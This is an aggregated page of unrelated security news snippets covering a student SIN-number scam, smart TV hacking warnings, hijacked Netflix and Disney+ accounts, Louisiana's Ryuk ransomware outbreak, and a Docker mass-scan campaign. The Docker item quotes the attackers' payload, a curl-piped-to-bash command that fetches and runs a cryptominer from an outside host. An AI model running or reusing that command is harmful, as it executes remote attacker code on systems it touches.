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Protecting Yourself From Hackers and Viruses
Recently, scammers posed as companies looking to hire students on UNB campus, asking for students to provide them their Social Insurance Number (SIN).
Tim Martin, a cybersecurity specialist at Brökvisk Security, says that companies might claim to need it to create a unique identifier. He reminds individuals that you do not have to provide them with your actual last four digits, you can say anything.
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As students do not have a lot of money, they are not commonly a target for hacking. If you are working somewhere, such as in a research division, you might be targeted by someone looking to get that information.
Report: Buying a smart TV? Be careful of hackers - silive.com
As smart TVs are becoming more and more popular, the risks for hackers trying to steal personal information become higher, according to Fox News. (Photo courtesy Element Electronics)
STATEN ISLAND, N.Y. -- Ever thought about using those holidays discounts to buy a smart TV? Authorities want you to really think about that, according to a report from Fox5 New York.
Smart TV often include built-in cameras, internet connection and microphones, but these new features could be hacked and put the owners' personal information at risk, according to the report.
Smart TVs can be easily hacked, FBI says | wtsp.com
If you own a smart TV or are looking to buy one this holiday season, the FBI has some advice for you.
The FBI says smart TVs, which have the ability to connect to the internet, use streaming services and apps and can even talk to people, can be vulnerable to hackers.
Many newer TVs have microphones and cameras built-in, which let you communicate with the TV by shouting at it or using facial recognition. While these features can allow TV manufacturers, app developers and streaming companies to track what you're doing, they can also make your TV a gateway for hackers.
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Hackers mass-scan for Docker vulnerability to mine Monero cryptocurrency
A hacking group is reportedly performing a mass-scan of the internet in search of vulnerable ports on systems using enterprise sandbox software Docker to mine cryptocurrency.
According to security researchers at Bad Packets , the scans, which began over the weekend, identify vulnerabilities that allow bad actors to inject malicious code that deploys a cryptocurrency miner on a company's Docker instances, ZDNet reports .
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These scans create a container using an Alpine Linux image, and execute the payload via:
"Command": "chroot /mnt /bin/sh -c 'curl -sL4 https://t.co/q047bRPUyj | bash;'", #threatintel pic.twitter.com/vxszV5SF1o
Hackers Are Activating Cancelled Subscriptions Without User's Knowledge; How To Prevent It
Super disappointed with my @netflix customer service experience. Our account was hacked, supposed to have been deactivated, was reactivated by hacker, and continued to use our credit card. We were told to file chargeback and @netflix would not offer refund.
Disney+ besieged by hackers, crooks and eager VPN users | E&T Magazine
Disney is already being challenged by hackers and VPN users, following the long-awaited launch of the entertainment behemoth's own streaming service.
Disney first hinted at its own streaming service in 2018. The service, called 'Disney+', allows customers to stream a wide range of films and television series produced by Disney and its associated studios - including Pixar, Marvel Studios, Lucasfilm and 20th Century Fox - for $7 per month or $70 per year.
Hacker's paradise: Louisiana's ransomware disaster far from over | Ars Technica
Louisiana has brought some of its services back as it recovers from a targeted ransomware attack using the Ryuk malware on November 18. The state's Office of Motor Vehicles re-opened offices on Monday in a limited fashion. But OMV and other agencies affected—including the state's Department of Health and Department of Public Safety—are facing a number of potential hurdles to restoring all services, according to people familiar with Louisiana's IT operations.
This is the second major cybersecurity incident this year in Louisiana tied to Ryuk ransomware. In July, Governor John Bel Edwards declared a state of emergency and deployed the state's cyber response team to assist seven parish school districts. There have been many other Ryuk attacks this year that have used TrickBot and, in some cases, the Emotet trojan—an attack referred to by some experts as a " Triple Threat " commodity malware attack.
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